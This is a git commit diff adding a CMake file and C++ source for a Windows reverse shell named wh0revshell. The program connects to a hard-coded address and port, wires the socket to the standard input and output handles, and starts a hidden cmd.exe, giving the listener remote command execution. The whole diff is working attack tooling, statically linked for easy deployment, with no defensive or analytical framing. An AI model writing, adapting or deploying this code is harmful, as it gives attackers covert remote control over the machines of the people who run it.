feat: add first working revshell

2026-06-25 17:24:05 +01:00
parent def7c788f4
commit 0a9a2e6a35
2 changed files with 118 additions and 0 deletions
@@ -0,0 +1,15 @@
+cmake_minimum_required(VERSION 3.15)
+project(wh0revshell CXX)
+
+set(CMAKE_CXX_STANDARD 20)
+set(CMAKE_CXX_STANDARD_REQUIRED ON)
+
+add_executable(wh0revshell "src/wh0revshell.cpp")
+
+# Explicitly link Windows socket library
+target_link_libraries(wh0revshell PRIVATE ws2_32)
+
+# Force Static Linking
+if(MSVC)
+    set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
+endif()
@@ -0,0 +1,103 @@
+#define WIN32_LEAN_AND_MEAN
+
+#include <cstdlib>
+#include <iostream>
+#include <stdexcept>
+#include <string_view>
+#include <winsock2.h>
+#include <ws2tcpip.h>
+
+constexpr std::wstring_view CLIENT_IP = L"192.168.1.20";
+constexpr int CLIENT_PORT = 9999;
+
+int main()
+{
+    WSADATA wsaData;
+    bool wsaStarted = false;
+    SOCKET socketFd = INVALID_SOCKET;
+    HANDLE processHandle = nullptr;
+    HANDLE threadHandle = nullptr;
+    int exitCode = EXIT_FAILURE;
+
+    try
+    {
+        if (WSAStartup(0x0202, &wsaData) != 0)
+        {
+            std::wcerr << L"[!] WSAStartup failed.\n";
+            goto CLEANUP;
+        }
+        wsaStarted = true;
+
+        socketFd = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, nullptr, 0, 0);
+        if (socketFd == INVALID_SOCKET)
+        {
+            std::wcerr << L"[!] Failed to create socket: " << WSAGetLastError() << L"\n";
+            goto CLEANUP;
+        }
+
+        struct sockaddr_in sa{.sin_family = AF_INET, .sin_port = htons(CLIENT_PORT)};
+        int result = InetPtonW(AF_INET, CLIENT_IP.data(), &sa.sin_addr);
+        if (result == 0)
+        {
+            std::wcerr << L"[!] IP is invalid or has bad format.\n";
+            goto CLEANUP;
+        }
+        else if (result == -1)
+        {
+            std::wcerr << L"[!] InetPtonW failed: " << WSAGetLastError() << L"\n";
+            goto CLEANUP;
+        }
+
+        if (connect(socketFd, reinterpret_cast<struct sockaddr *>(&sa), sizeof(sa)) != 0)
+        {
+            std::wcerr << L"[!] Connect failed.\n";
+            goto CLEANUP;
+        }
+
+        STARTUPINFOW startupInfo{};
+        PROCESS_INFORMATION processInfo{};
+
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.dwFlags = STARTF_USESTDHANDLES;
+        startupInfo.hStdInput = reinterpret_cast<HANDLE>(socketFd);
+        startupInfo.hStdOutput = reinterpret_cast<HANDLE>(socketFd);
+        startupInfo.hStdError = reinterpret_cast<HANDLE>(socketFd);
+
+        wchar_t cmd[] = L"cmd.exe";
+        bool success = CreateProcessW(
+            nullptr,
+            cmd,
+            nullptr,
+            nullptr,
+            TRUE,
+            CREATE_NO_WINDOW,
+            nullptr,
+            nullptr,
+            &startupInfo,
+            &processInfo
+        );
+
+        if (!success)
+        {
+            std::wcerr << L"Failed to execute process.\n";
+            goto CLEANUP;
+        }
+
+        processHandle = processInfo.hProcess;
+        threadHandle = processInfo.hThread;
+        exitCode = EXIT_SUCCESS;
+    }
+    catch (const std::runtime_error &e)
+    {
+        std::cerr << e.what() << std::endl;
+        exitCode = EXIT_FAILURE;
+    }
+
+CLEANUP:
+    if (processHandle != nullptr) CloseHandle(processHandle);
+    if (threadHandle != nullptr) CloseHandle(threadHandle);
+    if (socketFd != INVALID_SOCKET) closesocket(socketFd);
+    if (wsaStarted) WSACleanup();
+
+    return exitCode;
+}